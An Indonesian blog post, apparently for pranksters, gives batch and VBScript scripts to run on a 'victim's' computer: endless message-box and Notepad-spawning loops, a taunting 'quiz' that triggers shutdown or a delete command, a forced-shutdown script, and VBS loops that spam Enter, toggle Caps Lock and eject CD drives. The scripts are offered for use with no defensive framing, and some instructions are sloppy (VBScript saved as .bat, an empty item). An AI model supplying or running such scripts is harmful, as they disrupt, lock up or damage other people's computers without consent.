Trik Jahat Notepad Perusak Software


Program notepad, ini menggunakan fungsi perulangan, jika proses selesai dia akan kembali ke awal.. kalau di jalankan proses nya tidak akan berhenti, dan akan terus - menerus menerus di ulang( fungsi Do loop). . cara menghentikan nya.. buka task manager(ctrl+alt+del), lalu matikan proses dari script berjalan..

yang berekstensi *.bat

1. pesan mesege yang keluar terus menerus
@ECHO off:
Begin
msg * berbaik hati itu penting
msg * berbaik hati lah kamu ke semua orang

msg * agar suatu saat kamu di hargai orang
msg * dan mendaptkan kebaikan dari orang tersebut
msg * and bebaik hati lah sekarang
GOTO BEGIN


save as terserah yang penting ada .bat nya

2. membuka aplikasi terus menerus, apa saja deh, tapi disini aku mau buka  program notepad, terus menerus
@ECHO off:
top
START %SystemRoot%\system32\notepad.exe
GOTO top


save as terserah yang penting ada .bat nya

3. kuis
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


save as terserah yang penting ada .bat nya

4. Bikin komputer korban shutdown dan message box keluar
copy:
@echo off
msg * matiin ya
shutdown -s -c “eroor”
save as terserah yang penting ada .bat nya

 sekarang yang berekstensi *.vbs

1. buka vbs terus menerus
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save as terserah yang penting ada .vbs nya

2. buka caplocs terus menerus


save as terserah yang penting ada .bat nya


3. Membuat Capslock terus menyala
copy:
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
save as terserah yang penting ada .bat nya

4. Membuka dan menutup CD/DVD komputer korban
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save as terserah yang penting ada .bat nya
Share on Google Plus

About thonie

This is a short description in the author block about the author. You edit it by entering text in the "Biographical Info" field in the user admin panel.
    Blogger Comment
    Facebook Comment

0 comments:

Poskan Komentar